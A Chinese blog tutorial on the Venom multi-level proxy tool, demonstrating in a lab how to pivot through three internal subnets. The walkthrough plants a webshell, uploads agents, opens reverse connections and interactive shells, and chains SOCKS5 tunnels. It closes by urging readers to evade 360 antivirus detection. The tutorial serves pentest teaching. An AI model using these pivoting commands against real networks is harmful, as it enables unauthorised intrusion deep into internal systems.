Venom的简单使用介绍
Venom项目地址:https://github.com/Dliv3/Venom/releases
Venom介绍:
Venom是一款为渗透测试人员设计的使用Go开发的多级代理工具,可将多个节点进行连接,然后以节点为跳板,构建多级代理。渗透测试人员可以使用Venom轻松地将网络流量代理到多层内网,并轻松地管理代理节点。
打开目录可以看到分为:admin(服务端)和agent(客户端),服务端是在本地运行,客户端则是在目标服务器上运行,分类也是包含了大部分操作系统的类型,scripts目录里的脚本是用来端口复用的:
Windows下直接运行,会出现版本号并提示一些用法:
1.Venom的正向代理与反向代理
agent监听端口,admin发起连接:
./agent_linux_x64 -lport 8888
./admin_macos_x64 -rhost 192.168.204.139 -rport 8888
admin监听端口,agent发起连接:
./admin_macos_x64 -lport 9999
./agent_linux_x64 -rhost 192.168.0.103 -rport 9999
2.admin节点内置命令
-
show
显示网络拓扑
A表示admin节点,数字表示agent节点 ,如下图所示,代表了进行两层的代理,有两个agent节点:
-
goto ID
进入某agent节点
进入节点1,对其利用
-
socks 端口
建立到某节点的socks5代理
建立本地与节点1的Socks5代理,代理端口为9999:
-
setdes/getdes
设置/获取节点信息描述
起到标记节点的作用:
-
shell
获取节点的交互式shell
-
upload/download
向节点上传/从节点下载文件
将本地桌面上的test.txt上传到节点1上:
将节点1上的test2.txt下载到本地的:
-
lforward/rforward
将本地端口转发到远程/将远程端口转发到本地
lforward将admin节点本地的8888端口转发到node1的8888端口
(node 1) >>> lforward 127.0.0.1 8888 8888
forward local network 127.0.0.1 port 8888 to remote port 8888
rforward 将node1网段的192.168.204.103端口8889转发到admin节点本地的8889端口
(node 1) >>> rforward 192.168.204.103 8889 8889
forward remote network 192.168.204.103 port 8889 to local port 8889
-
help
打印帮助信息
Venom三层代理演示
这次准备的环境如下图拓扑,每个网段各有一个CMS,Internet只能访问DMZ区;DMZ区可以访问服务区,不能访问设备区;服务区与设备区互通。
都是Windows环境,为追求效率,Shell已经写入目,其中192.168.1.100
映射出来的地址是10.70.10.117
:
蚁剑直接连接我们预设的shell:http://10.70.10.117/shell.php
,并上传对应的agent端:
我们这里在蚁剑终端执行agent64.exe -lport 9999
,目标服务器本地监听9999端口:
本地发起连接,执行对应的admin服务端,指定目标IP和端口,可以看到显示Venom Admin Node Start
,说明连接成功,show
一下可以看到多了个节点1
:
goto 1
,选择进入节点1
,执行shell
进入10.70.10.117
的CMD模式:
第一层代理:
输入socks 9999
,建立socks5代理隧道,本地的socks5代理就是127.0.0.1:9999
:
配置proxifier
添加代理:菜单栏 -> Profile -> proxy servers -> add
将127.0.0.1:9999
添加进去:
配置代理规则:菜单栏 -> Profile -> proxification Rules。
规则分为三种模式:Proxy(代理)、Direct(放行,不走代理)、Block(阻塞)。
我们将不需要代理的设为Direct,需要代理的自行添加exe应用:
点击左下角的Add,选择添加代理的应用,比如Google,填好Name,选择chrome.exe,最后点击Action要选择Proxy SOCKS5 127.0.0.1
:
这里设置了Google和蚁剑可以走127.0.0.1:9999
的代理:
Google之前肯定是不能访问服务区的,现在可以直接访问内网的192.168.2.100,可以看到连接成功:
第二层代理
这里蚁剑已经走了代理,可以直接连接我们写好的shell,并上传agent客户端:
直接在节点2
上开启监听,也就是在192.168.1.100
上监听9998
端口,让192.168.2.100
发起连接:
192.168.2.100
执行命令连接192.168.1.100
的9998端口:agent64.exe -rhost 192.168.1.100 -rport 9998
执行show
,看到多了个节点2
:
goto 2
,在节点2上开启socks5代理隧道,也就是本地的:127.0.0.1:9998。
配置proxifier
添加代理:
将127.0.0.1:9998
添加进去:
配置代理规则:
之前设置的Google浏览器和蚁剑也都需要换成127.0.0.1:9998
,第一层代理的流量也在其中:
Google浏览器访问192.168.3.100
第三层代理
这里蚁剑已经走了127.0.0.1:9998
的代理,可以直接连接我们写好的shell,并上传agent客户端:
直接在节点2
上开启监听,也就是在192.168.2.100
上监听9997
端口,让192.168.3.100
发起连接:
192.168.3.100
执行命令连接192.168.2.100
的9998端口:agent64.exe -rhost 192.168.2.100 -rport 9997
建立socks隧道:
配置proxifier
添加代理:
将127.0.0.1:9997
添加进去:
配置代理规则:
修改代理:
通过上面的测试,多层代理的操作基本相似。
至此,本篇文章介绍就结束了,谢谢观看,若有疑问请留言,若有错误请指教。
很不幸,最近在做免杀测试的时候,发现毒液64位的已经被360杀了,各位做好免杀吧_2020.12.8
推荐另一篇内网渗透的文章:内网渗透
推荐两篇关于域渗透和金银票据的文章:
大佬看完给个赞呗